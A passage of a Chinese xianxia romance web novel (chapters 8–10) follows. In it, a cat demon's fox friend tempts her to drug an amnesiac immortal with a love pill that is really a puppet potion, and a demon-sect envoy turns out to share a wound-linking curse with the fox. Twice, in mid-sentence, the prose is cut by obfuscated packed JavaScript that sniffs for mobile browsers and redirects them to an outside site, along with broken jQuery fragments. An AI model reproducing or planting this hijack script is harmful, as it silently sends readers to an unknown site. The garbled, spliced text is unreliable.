服私访。甚至在商铺外还听见有人窃窃私语玩笑道,“楚姑娘若是男子,定当得上大将军了”,只是说这话的人又立刻被旁边人狠狠撞了一下,“天子脚下,怎可胡言?” 这是最为富饶繁荣的都城,又赶上万国来朝的时候,到处都是汹涌的人流。他们俩正走在街上,突然从后面蹿过一辆疾驰而过的马车,径直撞翻路边的商贩,新鲜的蜜瓜碎了一地,楚柳见状连忙松开容贺渊的手去追马车,呼哧带喘地狂奔大喊:“别跑!回来赔钱——”她没了妖力不能飞檐走壁,正气急败坏时却见身后疾速闪过一道雪白身影,容贺渊仿佛是离弦的箭般飞身上前,落在马前拦住了轿撵。 那车夫原本还仗着自家老爷是官员而颐指气使,可当容贺渊冰冷的剑锋直指车内时,这行人却再也嚣张不起来了,老老实实地下车道歉,不但赔了银两,还在楚柳地威胁下写了保证书,“再也不超速驾车,一定礼让行人。” 楚柳到处行侠仗义,看到容贺渊身轻如燕自己也跃跃欲试,可每回都是想蹿上房脊就撞到门上“哎哟”一声掉下来,想召唤出暗器却只能傻傻地弹动手指,让坏人也像见了傻子似的目瞪口呆。不过好在有容贺渊在,就像是她的贴身侍卫,指哪打哪,没有半点犹豫。 两人到了夜晚才回到客栈,楚柳还没忘记给阮眠买了一只香喷喷的窑鸡。阮眠看到那只鸡时两眼放光的样子不亚于楚柳见到一只刚出炉的烤鱼,她连客套话都来不及说,关上房门就开始大快朵颐。 楚柳留心看了她的房间,干净整洁,不像是有场恶战的样子。不过要真是阮眠所说的“同命咒”,那这个魔教之人也应该好好保护阮眠才对,绝不会想要杀她。 楚柳略微安心了些,她今日在外也没有遇到坏人,也许这颗灵珠根本没那么重要,不值得天宫再派人来追呢,只是怎么也没有神仙来找容贺渊呢? 说不定是这仙君失忆前冷冰冰的,性格恶劣,没有朋友。 这样想着,楚柳对他倒是有了些怜悯。她回到屋内,容贺渊正独自站在窗前看月亮,月光明亮,照映着他俊美精致的侧脸,他站在哪里,哪里就像是一幅画。 “夫君,我们去外面转转。” 容贺渊回眸对她微微一笑,“好,夜深露重,再多穿件衣裳。” “知道啦。” 楚柳又在浅绿色的裙子外面披了一件雪白的锻绣披风,两人走到屋外的小阳台上,今夜天气阴沉,高悬的明月都被遮住了一小半,星星也看不见。 从这里正好能看到客栈的底楼,老板一家忙到现在才有时间吃晚饭,简单的两三样家常菜,虽然不像是饭店做的那样精致,但看着仍是诱人可口。 他们一家人围在热气腾腾的桌边,脸上都是温暖的笑容,彼此夹菜,其乐融融。 楚柳看着这番景象,不免也有些触动,只是她想到的却并不是自己的家。她年幼就没了父亲,母亲又常年孤身在外,冷冰冰的洞穴里从来没有这样温馨的场景。 但是她却想到了和容贺渊一起掉落的山谷,山谷中的村庄。那里才像是这么多年来,她第一次有的一个家。 8. 第 8 章 “柳柳,怎么了?”容贺渊看出她的情绪有些低落,连忙关心地问道,“有什么不开心吗?” 楚柳摇了摇头,实话实说道:“我只是有些…想念山谷底下的那个小村子了。” 那个地方只有她和容贺渊知道,也只有他明白,曾经有过多少岁月静好的回忆。 “当初那么想离开那里,现在又这样怀念……村子里的鱼更新鲜,没有那么多佐料,原滋原味的也很好吃,”她垂着脑袋,手指在地上无意识地画着圈圈,“我还想李大娘了,她说我长得像她的女儿,给我拿来好多漂亮裙子穿。” 可是那些裙子却一件都没有带走。 楚柳吸了吸鼻子,嘴角微微向下撇着,眼皮也无精打采地耷拉下来。她突然有些沮丧地想自己做的每一个决定都是错的,时至今日,她的命运就好像是一个错误的集合。 容贺渊坐到她的旁边,轻轻握住她的手,安慰道:“来日方长,我们又不是回不去了。” “唔…”楚柳咬着嘴唇,“那是自然……我们来日方长。” 她轻轻叹了口气,连忙扯出个笑脸转移话题:“今夜看起来好似要下雨呢,乌云这么重,都看不到星星了。” 容贺渊眸光一动:“你想看星星吗?” “想看也没办法看到了吧。”楚柳又是一阵懊悔,好像自己选了个很没意思的话题。 容贺渊却抿着嘴嘴唇微微笑起来,缠绵的柔情辗转在眼眸,他手指转动,指尖凝出金色的光芒,轻轻画了一个圈。 “只要是柳柳想看,自然看得到。” 下一秒,层层叠叠的乌云突然飞速流动,厚重的云层散开之后,只见漫天繁星闪烁着晶亮璀璨的光芒,铺满整篇黑天鹅绒似的夜空。 楚柳看得愣住,怔怔地瞧着这样美丽的天幕,眼眶突然有些酸涩,强忍着心头海啸般翻涌的复杂感情,对容贺渊笑着说:“夫君待我真好。” 这话她说了不知多少次,却是第一次心脏这样痛。 窗外仍是星光熠熠,回到房间后楚柳借口要去楼下看看阮眠,还没坐下就离开了,这回她没忘记把锁魂珠带走,和荷叶香包一起系在腰上。 这回仍是只有容贺渊自己留在屋内,他坐在桌前,闭上双眸静待了片刻,大脑却仍是一片空白,并没有想起任何事。他皱眉思索,似乎每次恢复记忆的时间都并不固定,但却无一例外是独处的时候……又好像,还缺了什么。 阮眠正坐在窗前,窗户敞开着,夜风吹起她的长发,乌黑的发丝扶过脸颊,更衬得她肤如凝脂。 “你来啦,”阮眠见到楚柳展颜一笑,舌尖舔了舔殷红的嘴唇,“那只窑鸡真好吃,明日还要再吃两只。” 桌上是成小山堆的鸡骨头,整整齐齐,干干净净。 两人性情倒是相同,就算天塌下来,食欲也不受影响。楚柳见她这样,倒忍不住笑起来,贴到阮眠旁边枕着她的肩膀,“好啊。” 楚柳的手指缠着她的裙摆绕来绕去,“你还没跟我说,你是怎么中了同心咒的事呢。” “这可说来话长,要从三年前讲起了。” 阮眠兴致缺缺地拄着脑袋,卷翘的睫毛垂下来遮住眼睛,“我在山林中修炼时,曾救下一只被猎人追赶的兔子精,”她捂住脸,提到这件事就一阵头疼,长长叹了一口气,“真是孽缘。” 楚柳像是在人间的茶馆听人说书,胸有成足道:“我知道了,一定是那兔子精来找你报恩,咦,不对……那怎么会有人追杀你?” 阮眠冷哼一声:“死兔子早就不知道跑哪去,追我的是那猎人,他修炼成魔了。” 她原以为魔教的都是些凶神恶煞的面孔,可那人竟然生得剑眉星目,唇红齿白,五官俊俏……害她一不小心竟然兴趣,玩着玩着就把自己也搭了进去。 “别讲那些了,提起来就烦,说说别的。你有没有瞧见今晚的星星?”阮眠看向窗外,黑幕般的夜空仍是像缀满璀璨的珠宝,“明明都快下雨了,可乌云竟然都散开了,真是奇怪,”她没有拐弯抹角,直接挑着眉毛垂眸看向楚柳,“这是那神仙做的?” “嗯,”楚柳脸上是哭笑不得的表情,“早知道要和他日日扮演恩爱夫妻,我干脆说我是他妹妹好了。” 阮眠“扑哧”一声笑出来,染成凤仙花颜色的指甲在楚柳额头轻轻点了一下,“你呀。” 她关上窗户,挡住窗外的夜色,房间的光源就只剩下桌上摇曳的烛火。红蜡像是渗血似的不断滑落猩红的蜡油,她挑着灯芯,漫不经心道,“柳柳,你是不是喜欢上他了啊?” 从来没敢承认过,甚至想都不敢细想的事,被这样明目张胆地说出来,楚柳顿时一阵心慌,像是被踩到尾巴似的跳起来:“谁说我喜欢他!我才不会喜欢他呢!” “真的?那你看着我的眼睛,再说一遍。” 阮眠的双眸水光潋滟,泛着幽紫的光芒,像是深不见底的潭水,能一览无余地看见自己的倒影和心事。 楚柳呼吸一滞,连忙偏过头去,声音沉闷的像是蚊子嗡嗡:“我才不要看你,狐狸的眼睛最是妩媚……也最能迷惑人心了。” “是啊,我们狐狸一族本就美若天仙,媚骨天成。”阮眠大大方方地承认,“关于这情爱之事,我天生就懂得比你多。我知道,如何能让你喜欢的人,也喜欢上你。” 楚柳眸光微颤,转过头看向她,四目相对又连忙垂下眼睫,闷声道:“长得漂亮就可以,是不是?若是我有你这样的美貌,自然是谁见了都喜欢,可我总不能换一身皮吧。” 阮眠翻了个白眼,“谁要让你换皮了。你说的也不全对,只有美貌,未必会让喜欢的人也喜欢自己。” “我知道我知道,还要心地善良,对不对?” 楚柳这倒是很有信心,若说善良,那些神仙都不一定有她善良。 “……” 阮眠哑然,长叹了一口气才说:“柳柳,我们一起长大,今天我才知道你这么笨,若不是我知道你是只猫妖,”她摇摇头,“还会以为是只呆头鹅。” “你胡说,”楚柳不服气地涨红了脸,“就连我爹都说过,他喜欢我娘亲就是因为她善良。” 阮眠惊讶地嘴巴张成一个圆圈,“连这你也信,那你娘亲身上有九尾猫妖的血脉,你爹有没有和你说?” 楚柳也像是第一次听说这件事,可她们猫族没落已久,她也不知道“九尾猫妖”是什么东西。她的脑袋摇成拨浪鼓,老老实实地回答道:“没说过,他去世得早,一共也没和我说过几次话。” “难怪如此,那你不知道的事情可多了,”阮眠弯起嘴角,“还有一种能让神仙动情的药,你是不是也不知道?” “不知……什,什么?” 楚柳的神情如同五雷轰顶,她知道狐妖最擅长制药,平时也见过阮眠摆弄那些瓶瓶罐罐,可是让神仙动情……这种事怎么也能? “是,你想不想要?” 楚柳睁圆眼睛,“当然不行了!”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691651|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心里说不出的别扭,“那和傀儡有什么区别,而且,就算他真的喜欢上我,我也知道是假的。” 阮眠挑了挑眉毛:“管他真的假的,再说了,难道现在就是真的?”她意有所指地看了看窗外,“那漫天繁星,你敢说不喜欢?”故意低声问,“难道你真的不想试试,让这神仙也喜欢上你?” 窗外有了细微的雨声。 好像一瞬间有湿冷的阴气从地板升起,楚柳浑身发冷,心脏像是被一只冰冷的手紧紧攥住,想要离开这里,却无法挪动一步。 她失去了妖力,因而并没有看到,阮眠的眼中不断溢出的深紫色的,下沉汇聚的一团团浓雾。它们慢慢几乎充满了整个房间,两人如同站在紫色的云层之上,只是楚柳能看到的仍是最简单朴素的桌椅。 “你若能让他喜欢上你,那就算恢复记忆了又有什么可怕?到时候少了一个追兵,而你身边,还会多一个忠诚的神仙保护你。” 阮眠凑到她的耳边,眼波流转,声音低沉,好像湿漉的潮气轻轻弥漫,“最重要的是,你爱他,就一定会想要他也爱你,对不对?” 缠绵的秋雨片刻不停地打在屋顶,铮铮有声,楚柳的心跳得像是要把整个胸腔的骨架撞碎。 最重要的是,你爱他,就一定会想要他也爱你。 这句话如有回声般不停在耳边响起,语速越来越快,语气越来越笃定。 楚柳猛地打了一个激灵,心底有下意识的胆颤,但是除了有对容贺渊发现自己给他下药的恐惧之外……还有无法言喻的兴奋。 欲望像是凌厉的鞭子,驱使她小心翼翼地伸出手,触摸到那一枚玫瑰紫的药丸。 “只要吃掉这个……?”她的声音发颤,手腕也像是在冰天雪地中,冷极了似的不停抖动。 阮眠微微一笑,接下她的话,“只要吃掉这个,不管是法力多么高强的神仙,也会抵挡不住诱惑,爱上你。”千年狐妖那双狭长妩媚的眼睛,微微带着居高临下的俯视,“因为这诱惑不是来自外界,而是他的心。如果敌人是自己的心,你说,他怎么才能赢?” “我…我再想想。” 锁魂珠突然闪烁冰蓝色的光芒,楚柳也如梦初醒似的连忙晃了晃脑袋,像是要赶走脑子里那些喋喋不休的念头。她推开阮眠的手,那枚药丸也滚落到地上。 “我先走了,小阮,等,等明天我再来看你,给你带你最爱吃的窑鸡,盐酥鸡,白斩鸡!” 她忙不迭跑了出去,阮眠在身后伸出手“哎”了一声,似乎想叫住她,只是见那道浅绿色的裙摆早已不见踪影,只好作罢。 “真是可惜了我这阵法。” 阮眠手腕转动,满室深紫色的雾气也很快消失地无影无踪。她正要到床榻上,突然听到一阵异响。窗户从外面“砰”的一声破开,跳进来一个的穿着玄色袍子的男子,他挥动衣袖放出黑色绸缎似的暗器,向上一卷就把地上的动情丹药收进掌心。 阮眠跟没看见似的褪下外衣躺到床上,“想要就送你,这药我有一箱子,不用客气,只是它对我可没用,你就不要幻想我会喜欢上你这废物了。” “谁想要你喜欢?你连朋友都骗,如此歹毒心肠,被你喜欢上才是倒霉了。” 他穿得锦衣玉冠,做事却十分随性,一进来就毫不客气地坐在床边的太师椅上,手里懒散地把玩着那枚药丸,“这东西真的有那么神奇?” 话音刚落,他便往嘴里一扔,径直把那枚丹药吞入了腹中。 9. 第 9 章 “掉在地上了还捡起来吃,你脏不脏?”阮眠撑起上身,向来美丽从容的脸上难得露出了忍无可忍的表情,深呼吸道,“这药只对神仙有用,对你这从人修炼成魔的死废物……” 她话还没说完,就看见沈赋的脸颊突然泛起潮红,只是片刻就呼吸粗重,眼底浮起一层潮湿的水雾,削减了双眸的锐气,与平日玩世不恭的样子判若两人。 阮眠猛地一惊,尽管她总爱拿沈赋想做神仙却想得走火入魔这一事出言讥讽,但她心里却清楚地知道,能当上魔尊护法,这人的本事还是不容小觑。可是自己配药时明明只针对神仙的体质,怎么会这样? 沈赋的脸快要埋进胸口,手指抵着眉骨,喘息声沙哑,看起来像努力克制,却又极其煎熬痛苦。 阮眠心烦意乱地跃下床铺,皱着眉头走上前问道,“喂,你没事吧?” “你在关心我?” 下一秒,沈赋却突然抬头,脸上哪还有半点的红晕。他挑起浓黑的眉毛,笑得肆意张扬,“多谢。” 他胸前的扣子不知什么时候蹭开了,露出肩颈流畅的线条,小麦色的胸肌也是饱满壮硕。 “我只关心你别死在我屋子里,晦气,”阮眠冷冷地瞥他一眼,嘲讽道,“还不快滚,一天来三趟,你这护法当得可真是清闲。” 沈赋见好就收,站起身做了个告辞的手势,仍是嘴硬,“我不过执行任务时顺路看你,”他动作利落地跳上窗棂,临走时不忘再提醒一句,“我们俩中了同命咒,我若是死了,你也活不了。” 夜风灌进屋内,阮眠挥袖重重关上了窗,桌上燃烧的红烛熄灭了,房间终于安静下来。 这一整晚倒也不算白费功夫,阮眠回到床榻点了一根熏香,气味清冽,却有安神之效。她很快就把沈赋抛掷脑后,现下最要紧的,是让容贺渊吃下动情药。 那丹药虽唤作“动情”,却绝对不止是会心生爱慕那么简单。楚柳说得不错,就是“傀儡”,只听令办事,提线木偶般的傀儡。 阮眠勾起嘴角,她对楚柳的性格了如指掌,看似意志软弱,其实认定了的事情无论如何都不会动摇。她既然喜欢上了那神仙,自然早晚都会回来求自己手中的这颗药丸,只要耐心等待就好。 想到此处,阮眠微微一笑,心满意足地闭上了眼睛。 沈赋在窗外见她睡熟,便从树上起身念了几句咒语,黑色的魔气萦绕四周,他再一抬手,顿时消失得无影无踪。 一个月前。 正是盛夏最炎热的时候,魔尊闭关修炼,沈赋闲来无事便到了莲花山避暑。他从七岁就跟着祖父上山打猎,对这里熟悉的就好像回家一样。 只是用从前的肉眼凡胎看,只知道这山上哪里有凶狠的狼群不能擅自闯入,哪里有肥美的鹿和野兔,如今却能感知到山中哪里有妖魔。沈赋越往山顶走越觉得有趣,从前竟不知道这座莲花山是如此卧虎藏龙之地,竟然还有一只……千年狐妖。 他的双眼突然亮了一瞬,这只狐妖可是他的老相识了,今日难得一见,怎么也要会会才好。 沈赋一路翻山越岭来到山洞入口,里面黑黢黢看不见光亮,他翻转掌心燃起火光,正要入内,却听到身后传来一声慢悠悠的,“站住。” 一道暗紫色的幽光急速逼近,正中他的肩膀,顿时鲜血四溅。 沈赋站得端正笔直,任凭肩膀汩汩流血,只是那伤口好得极快,只是阮眠走近的这片刻时间就已经恢复如初。血痕渗入黑色的衣袍,很快就没了踪迹。 “几日不见,你倒长本事了。” 阮眠缓步走来,深紫色的裙摆被风吹动,流光溢彩。她戴着珍珠网纱的头饰,修长的脖颈上系着绛紫色的丝巾,美艳的脸上是似笑非笑的表情,游刃有余地盯着沈赋的眼睛,想要从中找到些许惊慌,可这人也同她一样惯会伪装,眼底只有忍俊不禁的笑意。 “不是几日不见,是三年,”沈赋神色认真道,“今日路过莲花山,特来找你叙一叙旧情。” 阮眠挑眉道,“旧情?你不过才活了二十年,我的年纪都够当你祖宗,”她嗤笑一声,“一千年的时间,我又怎么会每个小喽喽都记得,”她顿了顿,话锋一转,“不过,我倒真的还认识你。三年前是你第一次独自打猎,好不容易抓到只兔子又被我救走,你气得坐在树底下哇哇大哭,没错吧?” “哈,”阮眠说到此处忍不住又笑出了声,眼角眉梢流动着风情万种,“你倒也是个,性情中人。” 沈赋的脸颊微不可见有些泛红,着实没想到阮眠会真的记得这件事,他的脸红一阵白一阵,有气无力地反驳道:“我那日哭……不是为了这只兔子。” 阮眠却懒得听他狡辩,“行了,关我什么事?趁着我心情好,你快走吧,就算如今成了魔尊护法,你也不是我的对手。” 沈赋却不愿意就这样离开。 “那兔子被你救走之后,你取它的心头血制药了是不是?”他清了清嗓子,煞有介事地说道,“你和那些抓妖炼丹的神仙,又有什么两样?” 阮眠却丝毫没有恼怒的神色,漂亮的脸蛋仍是笑意盈盈:“哟,这你都知道,”她原就深不见底的双眸更是幽暗了几分,漫不经心地把玩着手中的药瓶,“你倒是巴不得能成为那些神仙呢。只是没修炼好,反而走火入魔,变成了现在人不像人,鬼不像鬼的样子,我说得没错吧?” 若说打嘴仗,他们倒是棋逢对手,各自都气得快要吐血,表情却都是气定神闲,好像真的是许久不见的老友在闲聊家常。 这时山下突然传来一阵喧闹声。 阮眠猛地回眸向下看去,一双狐狸眼微微眯起,“今日倒还真是稀奇,不速之客都一起上门了。” “喂,你说谁是……” 沈赋还没表达完不满,就见到一道黄灿灿的光对着阮眠迎面袭来,似乎要跟她同归于尽般用上了全部的力气。那黄鹂精满眼都是恨意,目光就像是要把阮眠碎尸万段。 “你今日若不把能施下同命咒的丹药给我,我就放火烧了你这老窝!” 姜梨就算怒火滔天地放着狠话,声音也是清冽动听。阮眠轻盈地躲过攻击,丝毫没有把她的威胁放在心上,反倒对她的声音颇为欣赏。 “我可从来没说不给你,”阮眠手腕一转,纤细的手指便握住了一个白瓷瓶,冷冷道,“只是你也答应过,要拿左翅第一根羽毛来换。” 姜梨恼羞成怒道:“我是答应了要给你,可是你却没说过是为了……”她的双手紧握成拳,用力到水葱似的指甲都险些折断。 阮眠突然神色一变,瞥了眼旁边听得津津有味的沈赋,匆忙打断她的话,“好了,我要做什么都与你无关。我只问你,这药你到底想不想要?——你爱上了一个凡人,他却生了重病命不久矣。你没办法救他,只能去求你母亲,可她更不愿意你跟这凡人厮守终生。” 姜梨越听脸色越苍白,血色尽失的嘴唇微微颤抖,接过话头继续说道:“我知道你是这山里最德高望重的妖怪,想要 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更何况沈赋也没有在旁边干站着,还时不时帮衬几下这黄鹂精,阮眠一打二分身乏术险些受伤,咬牙切齿道:“你管什么闲事!” “阮姑娘此言差矣,我和这小黄鹂都是你的仇人,仇人的仇人就是我的朋友,见到朋友有难,我当然不能袖手旁观啦。” 沈赋说得振振有词,姜梨都听得直发愣,但从天而降一个帮手,她信心更盛,指尖释放出鹅黄色的流光,阮眠身后的山石摇摇欲坠,“砰”地一声砸了下来。 “啊——” 阮眠猝不及防,猛地被震得飞身出去,头顶精致漂亮的网纱都掉落在地。沈赋原本还站在旁边看戏,但真见到她有危险,却本能反应似的飞身上前想要抓她手腕。阮眠却误以为他要来抢自己手里的药瓶,连忙扭腰躲避。 “滚开!” 她身手敏捷,既避开了横飞的乱石,又躲开沈赋伸过来的手。 阮眠站稳后冷笑一声:“惯会见风使舵,偷鸡摸狗,就你也配做魔尊护法?” 可她到底是太轻敌,下一秒,又有一块更大的山石滚落,突然朝着她砸了下来,巨石背后竟是那黄鹂精的母亲,身后还跟着不知道多少鸟妖。 “打不过就找家长,”沈赋这下倒是站在阮眠这一边了,对小黄鹂颇为不赞同道,“不讲武德。” 姜梨却是神情一怔,呆呆地喊了声:“娘亲——” “还不快跟我回家!” 电光火石的一刹那,迎面砸来了十几块飞速旋转的巨大山石,阮眠和沈赋连忙各自飞身避开,只是那石头砸得又快又狠,摔在山林间又崩裂成无数小石头,像是一场铺天盖地的倾盆大雨,两人险些被压在巨石底下。 沈赋瞳孔缩紧,高声喊道,“小心!” 突然有颗小石头打中了阮眠的手腕,她一吃痛松开手,藏在袖口的药瓶突然滑落下来。她急着捡起药瓶,却未曾看见又有一块山石迎面落下,沈赋连忙挡在她的身前,双手卷起黑色魔气击碎山石。 他回过头却大吃一惊,阮眠握住药瓶摔倒在地,“哇”地吐出一口鲜血。 “你怎么样?” 沈赋连忙上前扶她起身。 那白瓷瓶摔碎在了阮眠的掌心,里面装的却并不是一颗颗药丸,而是透明的液体,连同殷红的鲜血一道顺着阮眠纤瘦白皙的手腕滑落,又流淌到了沈赋的手指间。 10. 第 10 章 清晨,天空刚泛起鱼肚白,整个客栈弥漫着一层薄薄的雾,仿佛有仙云缭绕。 容贺渊站在窗边,看着外面雾气朦胧的景象,觉得这场景很像他上一次想起的宫殿。白金的雕梁画栋,沧桑的老人蹲下身抚摸过他年少时稚嫩的脸,一字一顿道要他报仇。 “你又在发什么呆。” 清脆的声音从身后响起,楚柳今日穿着苔绿色的罗裙,梳了俏皮可爱的双云发髻,蹦跳着走到他身边,瞧了瞧窗外惊讶道,“好大的雾。” “这几日秋雨连绵,雾气也比往日多了些。” 容贺渊抬起手温柔地摸了摸她的头发,看到这双云髻,温润的眸光一动,仿佛泛起涟漪的湖面。 楚柳见他欲言又止,歪头问道:“你又在想什么呢?” “喔,我知道了,”楚柳弯了弯嘴角,对他的心思摸得比谁都清楚,一歪头探出两只毛茸茸的猫耳朵,“想要摸这个,是不是?” 容贺渊一看到那双柔软的猫耳,修长白皙的手指就忍不住覆了上去,他神情竟有些害羞,轻轻地“嗯”了一声。 “再用点力气,对对,再重一点。” 楚柳舒服得眼睛都眯了起来,仙君大人撸猫的本事倒是长进很快,她一高兴连尾巴都甩了出来,缠在容贺渊的手上,算是买一送一的赠品。 日光从云层中跃出之后,白雾也慢慢消散了,今日难得是个晴朗的好天气。 楚柳站在阮眠房间前敲了半天门,里面仍是一片寂静,她推开屋子却看到里面空空荡荡,只有桌面上留下一封信。 阮眠在信上说要去解决掉一个大麻烦,过几日再回来找她。 “说是过几日,若真是大麻烦,哪会有那么容易。” 她还把阮眠当作救命稻草,眼下看来,这救命稻草都是自身难保。可她自己也没有帮得上阮眠的忙,甚至阮眠都还没来得告诉她如何中了同命咒的经过。 “唉。” 楚柳小声叹了口气,把那封信收进了袖口。她四面环顾这间屋子,阮眠住在这儿的时候,她总觉得这房间也很漂亮,还充满香气,恨不得能天天过来。现在人去楼空,这里似乎也就变得平平无奇。 她转身离开,走回楼上的脚步格外沉重,不知道为什么,她总觉得胸口像是淤堵了什么,闷得喘气都很非力气,上了最后一层台阶时她才如梦初醒般地知道这感觉从何而来,她在后悔。 如果那天晚上拿到了动情药,现在会不会所有困难都迎刃而解了,她再也不用提心吊胆地怕仙君恢复记忆,因为就算容贺渊想起了曾经的事,知道了她不过是个满口谎言的妖,那又如何呢? 容贺渊还是会爱上她。 楚柳想到这句话,心底却并没有一阵狂喜,而是陡然升起一种陌生的刺痛。她明明是最怕痛的,可如今却心痛过不知道多少回,连受伤流血,骨头折断都没有这样难以忍受。 “吱呀——” 楚柳推门而入,立刻收起了百转千回的心思,换上明媚的笑脸,“我回来了。” “柳柳。” 容贺渊回眸望向她,嘴角一扬,“怎么没在阮姑娘那儿多待一会儿。” 这话说得倒像在吃醋,楚柳想起自从阮眠来了以后,自己的确分了不少时间给她。可是现在也没机会做到雨露均沾了。她吐了吐舌头,不好意思说阮眠已经离开的事,讪笑道,“我想回来找你嘛。” 容贺渊轻笑了声,并未拆穿,指了指窗外,“你看那边的山下,有几棵橘子树。” “咦?我们住进来时还没有的。” 楚柳迫不及待地走到窗前东张西望,果然看到了碧绿的树叶间长出了黄澄澄的橘子,煞是好看。他们只在这客栈停留了小半个月的时间,正好到了橘子成熟的时候。 两人趁着下午云层厚重,天气不算炎热的时候一同来到了山脚下。 树上挂的橘子像是橙黄色的小灯笼,楚柳见到就喜欢极了,一路跑过这排橘子树,摘了四五个抱在怀里,低头深深嗅了嗅清新的橘子香,抬起头喊道:“过来一起摘呀。” 容贺渊远远地看着她,楚柳一双漆黑的眼睛像是水灵的葡萄,背后是深绿色的橘子树,她穿着粉色的长裙,面若桃李,眉目生动。 他的目光愈发温柔深情,现在的记忆几乎每一帧都有楚柳的身影,只觉得这样令人心动的场景,饶是再过一千年都不会忘。 “上面也有好多橘子呢,”楚柳仰起头,跃跃欲试地抱住树干,“让我来。” 容贺渊顿时想起从前在山谷底下看楚柳跳进河里捉鱼的场景,她好像永远都有用不完的力气,不管在哪都活力四射。 “慢点,小心些。” 楚柳掷地有声道,“我又不是小孩子了,这根本难不倒我。” 她双手奋力向上攀爬,两条腿也紧紧地缠上树干,很快就爬了上去,一手拽下只饱满的橘子,喊道,“接着!” 这场景也是似曾相识,容贺渊嘴角微微向上扬起,在树下应了声,“好。” 等到摘得差不多,楚柳便想原路返回,她仍是用和上树时同样的姿势,可在抱住树干瞬间,脑袋里有个念头一闪而过。 ……她突然想到自己这姿势也太像只青蛙了。 楚柳嘴角一抽,分神想调整姿势,又不知不觉整张脸红得好似煮熟的龙虾,她手忙脚乱地扑腾几下,突然手心一滑,短促地尖叫一声就向后仰了过去。 “柳柳小心!” 容贺渊飞身上前接住她坠落的身体,连忙把她揽进怀里,“你有没有受伤?” “没、我还没……”楚柳怕被看见自己红透的脸,满脑子都在重复“丢死人了”,她一挨到容贺渊的怀里就急匆匆想捂住脸,却忘了手里还抓着两只大橘子,险些把自己砸晕。 两人在空中转了半圈,容贺渊一只手臂搂着她的腰,另一只手还要挥出仙气躲开两只沉甸甸的橘子,也是十分狼狈。待到落回地面之时,楚柳又在慌乱中踩到了自己的裙角,整个人猛地往下一滑。 “唔!” 她下意识抓住了容贺渊的衣领,两人面对面摔倒在地,楚柳还是被垫在下面那个,痛得呲牙咧嘴,“哎哟”了好几声。 “柳柳,有没有事?” 容贺渊没起身就连忙低下头查看楚柳的伤势,满脸都是懊悔的神情。 楚柳却是呆住了。 两个人贴得如此近,她也是第一次这样近距离地看容贺渊的脸,甚至看得到对方白皙皮肤上细小的绒毛,还有高挺的鼻梁,花瓣般粉红薄削的嘴唇,浓密的睫毛,湖泊一样温柔湿润的眼睛。 楚柳喉咙滚动,咽了咽口水,脑子里乱得像是不断搅拌的稠粥,下一个动作,完全依从身体本能的反应。 她抬起手臂勾住了容贺渊的脖颈,微微抬起身体,对着那张嘴唇轻轻吻了上去。 那一瞬间,天地间好像降落了冰凉的雪,两颗炙热的心脏同样跳得震耳欲聋,四目相对,一双眼睛勇敢、坚定,孤注一掷般决绝,另一双眼睛惊愕、深情、最终慢慢沉沦。 快到深秋,天气愈发寒冷,尤其是山林间,树叶上都蒙了一层白霜。 “你就这么走了,也不怕你那好姐妹担心?” 沈赋跟在阮眠的身后,无聊地拿着一根树枝当剑,比划了几下魔教的独门身法,也不怕被偷学了去。 “三脚猫的功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691653|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫也要拿出来得瑟,你就不能消停一会儿?”阮眠对他始终爱搭不理,专注赶路。 沈赋加快两步跑到了她的前面,转过身看着那张美若天仙却比冰霜还要冷上几分的脸,不自觉口干舌燥,却仍喋喋不休道,“这可是我学了一年才会的,连教主都夸我悟性好,是魔道百年难得一遇的奇才。” 阮眠瞥他一眼,险些笑出声来。 这三日,两人又是飞檐走壁又是腾云驾雾,很快就要到桃林山了,既然黄鹂的翎羽没有拿到,阮眠便想要到这山上找蛇鳞代替,只是沈赋旁敲侧击问了一路,都没问出她到底要这些做什么。 “兴许是你听错了,你们教主说的,应当是百年难得一遇的奇葩。” 沈赋哼哼一声,厚着脸皮当什么都没听见,边后退着走路,边继续没话找话。 “再说回那只猫妖,她见了你,就跟竹筒倒豆子似的把什么都说得清楚,可你连真正追杀你的是谁都没告诉她,”沈赋摇摇头,“若是论做朋友,你还真是虚情假意。” 这一路上,不管他再怎么犯贱,阮眠都没有真的动过气,甚至看向沈赋的眼神还时不时带着几分长辈的慈爱。可是这句尾音刚落,阮眠就猛地抬起眼睛,手腕飞快翻转紫藤色妖气,狠狠挥掷出一道暗器。 沈赋不知是修行为够还是故意不躲,右边胸口生生受下这凿穿身体的伤口,装模作样地喊了两声“好痛好痛”,又咧嘴笑道:“你不喜欢听我不说就是了,何必为我这废物浪费你苦心研制的裂骨丹呢。只是我修炼成魔时肉身已经魂飞魄散,现在这身体是用泥巴做的,片刻就可恢复原状。” “难怪你这么脏,”阮眠从鼻腔哼了一声,又道,“恶心!” 可是下一刻,她右边胸口突然传来一道剧痛,阮眠停下脚步,心头猛地收紧,看到胸前紫色的衣服已经被血染红了一块。 直到沈赋的伤口不再流血,她身上那块狰狞的血痕才不再继续扩散,疼痛感也慢慢消散。 “你研制出来的这同命咒,”沈赋一看到阮眠皱眉,顿时一点儿都不觉得疼了,眉飞色舞道,“我们两个被绑定了,一人受伤——” “另一人必见血。”阮眠接过话头,眼底寒光凛冽,“有意思,现在我们俩倒栓在了一条绳上。” 